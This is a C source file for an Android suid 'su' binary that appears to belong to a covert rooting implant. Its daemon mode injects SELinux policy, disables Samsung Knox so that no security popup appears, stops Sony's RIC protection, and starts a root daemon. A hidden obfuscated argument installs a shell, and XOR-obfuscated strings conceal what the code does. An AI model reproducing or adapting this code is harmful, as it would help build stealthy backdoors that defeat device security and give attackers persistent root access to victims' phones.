selinux_native/jni/suidext/su.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#include <limits.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <stdint.h>
#include <pwd.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <sys/types.h>
#include "su.h"
#include "utils.h"
#include "suidext.h"
#include "knox_manager.h"
#include "xperia_ric_manager.h"
#include "deobfuscate.h"
#include "shell_params.h"
#include "shell_installer.h"
#include "daemon.h"
#include "log.h"
#include "sepolicy-inject.h"
extern int is_daemon;
extern int daemon_from_uid;
extern int daemon_from_pid;
pid_t server_pid;
static unsigned char ld_library_path[] = "\x92\x6f\xf2\x22\x2a\x53\x22\x25\x50\x40\x2d\x40\x55\x53\x5e\x2d\x5a\x26"; // "LD_LIBRARY_PATH"
static unsigned char system_libs[] = "\x5a\xed\xa0\x8f\xf4\xc1\xcc\xc6\xcf\xf8\x8f\xce\xcd\xc8\xa0\x8f\xfb\xfd\xfb\xf6\xc1\xc9\x8f\xce\xcd\xc8"; // "/vendor/lib:/system/lib"
static unsigned char rt[] = "\x04\x16\x10\x9a\x90";
int main(int argc, char *argv[]) {
char path[256];
char *tmp;
char bin_name[256];
int i = 0;
pid_t pid = 0;
int status = 0;
if(argc < 2) return -1;
#ifdef DEBUG
LOGD("CMD: argc %d", argc);
for(i = 1; i < argc; i++)
LOGD(" -arg[%d]: %s", i, argv[i]);
#endif
if (strcmp(argv[1], "air") == 0) return 1;
// Set argv[0] always as absolute path. We need it in the daemon to copy the file.
if(*argv[0] != '/') {
tmp = strtok(argv[0], "/");
strncpy(bin_name, tmp, sizeof(bin_name));
while(tmp) {
strncpy(bin_name, tmp, sizeof(bin_name));
tmp = strtok(NULL, "/");
}
getcwd(path, sizeof(path));
strcat(path, "/");
strncat(path, bin_name, sizeof(path));
argv[0] = path;
}
return su_main(argc, argv, 1);
}
int su_main(int argc, char *argv[], int need_client) {
pid_t pid;
int status;
// start up in daemon mode if prompted
if (argc == 2 && strcmp(argv[1], "--daemon") == 0) {
// Check selinux policy and modify them
adjust_selinux_policy();
//if(1) {
// Stop knox to avoid security popup if exists
if(is_knox_present())
remove_knox();
// Stop xperia ric daemon to avoid reboot on mount
if(is_ric_present())
remove_ric();
uninstall_persistent_apk();
server_pid = getpid();
return run_daemon();
}
// install the shell
if (strcmp(argv[1], deobfuscate(rt)) == 0)
return exec_cmd(argc, argv);
// Sanitize all secure environment variables (from linker_environ.c in AOSP linker).
/* The same list than GLibc at this point */
unsigned char* unsec_vars[] = {
"\x6e\xe6\x82\xe9\xf5\xe1\xe0\xf8\xf1\xc2\xf3\xc6\xea", // "GCONV_PATH"
"\x16\x2a\x37\x51\x57\x46\x55\xa9\xa8\x50\x59\x56\xa3\x44", // "GETCONF_DIR"
"\x17\x35\x29\xa1\xb8\x4c\x4d\xbe\xa5\xa6\xbe\x4c\xb2\x4c", // "HOSTALIASES"
"\xcc\x82\x46\x80\x88\x97\x8d\x99\x88\x85\x98", // "LD_AUDIT"
"\x9b\xdf\x4c\x69\x61\x7c\x61\x62\x67\x72\x64", // "LD_DEBUG"
"\x35\x15\x2f\x9b\x93\x6a\x93\x90\x99\x60\x92\x6a\x9a\x60\x63\x6f\x60\x63", // "LD_DEBUG_OUTPUT"
"\x3c\x66\x55\xb0\xb8\xaf\xb8\xad\xbe\x85\xb1\xbd\x83\xaf\xb7\xb9\x85\xbb", // "LD_DYNAMIC_WEAK"
"\xec\xc2\x21\xa0\xa8\xb7\xa0\xa5\xb2\x42\xad\x42\xb5\xb7\xbc\xad\xb8\xa4", // "LD_LIBRARY_PATH"
"\xee\x95\x75\xa2\xaa\xd3\xa3\xc4\xa9\xab\xa9\xa0\xd3\xc6\xd1\xda\xae", // "LD_ORIGIN_PATH"
"\xed\x59\xbe\xa3\x5b\x52\x4f\x41\x58\xa3\xa2\x5c\x5b", // "LD_PRELOAD"
"\xdd\x1c\xcb\xb1\xa9\x82\xb5\xb7\xb2\xab\xac\xb1\xa8", // "LD_PROFILE"
"\x87\xca\x41\x5f\x47\x68\x54\x53\x58\x50\x68\x5a\x56\x63\x51\xa2", // "LD_SHOW_AUXV"
"\x60\x04\x74\x34\x2c\x47\x3d\x33\x2d\x47\x34\x37\x21\x2c\x47\x22\x29\x21\x33", // "LD_USE_LOAD_BIAS"
"\x8e\x25\xa0\xc2\xc3\xd7\xd1\xc2\xca\xc3\xcd\xd1\xc9\xc0", // "LOCALDOMAIN"
"\x94\xd5\x46\x78\x65\x79\x4c\x7f\x40\x64", // "LOCPATH"
"\xe0\xe5\x09\x77\x63\x74\x74\x71\x6d\x41\x7c\x72\x63\x6d\x6f\x3b", // "MALLOC_TRACE"
"\x02\x30\x3f\x4f\x43\x4e\x4e\x4d\x41\xbd\x41\x4a\x47\x41\x49\xbd", // "MALLOC_CHECK_"
"\xf9\x13\xe2\xd9\xd0\xae\xaa\xaf\xd8\xd3\xd7", // "NIS_PATH"
"\xf5\x05\xf7\xc5\xbb\xae\xaf\xbc\xa3\xc7", // "NLSPATH"
"\x28\xc5\xfd\xfa\xf7\x85\xe9\xec\x86\xf9\xe0\xe9\x85\x84\xf9\xf5\xe9\xee\xf6", // "RESOLV_HOST_CONF"
"\xde\x47\x92\x94\xa5\x93\x8f\x9f\x92\x96\x99\x9f\x90\x93", // "RES_OPTIONS"
"\x87\x04\x85\xd3\xca\xdf\xc3\xd6\xdd", // "TMPDIR"
"\xf1\x5e\xaa\x5d\x57\x4d\x48\x5f", // "TZDIR
"\x9c\x1e\x97\xf0\xe8\xff\xe5\xef\xf9\xf8\xff\xf0\xed\xe2\xf2\xe5\xf2\xfd\xff\xf4\xe5\xf8\xec\xc5", // "LD_AOUT_LIBRARY_PATH"
"\x20\x14\x3b\x94\x6c\x87\x61\x97\x9d\x9c\x87\x90\x92\x6d\x94\x97\x61\x6c", // "LD_AOUT_PRELOAD"
// not listed in linker, used due to system() call
"\xe4\xca\x2d\xbd\xa6\x4b", // "IFS",
};
int i = 0;
for(i=0; i<sizeof(unsec_vars)/sizeof(unsec_vars[0]); i++)
unsetenv(deobfuscate(unsec_vars[i]));
/*
* set LD_LIBRARY_PATH if the linker has wiped out it due to we're suid.
* This occurs on Android 4.0+
*/
setenv(deobfuscate(ld_library_path), deobfuscate(system_libs), 0);
if (need_client)
return connect_daemon(argc, argv, SHELL_PORT);
}